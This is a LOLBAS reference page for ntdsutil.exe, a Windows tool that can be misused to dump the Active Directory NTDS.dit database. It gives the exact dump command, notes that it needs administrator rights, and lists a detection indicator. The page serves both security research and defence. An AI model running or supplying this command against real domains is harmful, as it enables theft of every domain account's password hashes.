LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

ntdsutil.exe

View source

Command line utility used to export Active Directory.

Dump
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
03DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Dump1

EXAMPLE 01T1003.003

Dump NTDS.dit into folder

COMMAND
ntdsutil.exe "ac i ntds" "ifm" "create full c:\" q q
USE CASE
Dumping of Active Directory NTDS.dit database
PRIVILEGES
Administrator
OPERATING SYSTEM
Windows
02 / ON DISK

Known paths

C:\Windows\System32\ntdsutil.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources

Indicators & detection notes

  • IOC

    ntdsutil.exe with command line including "ifm"

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Sean Metcalf@PyroTek3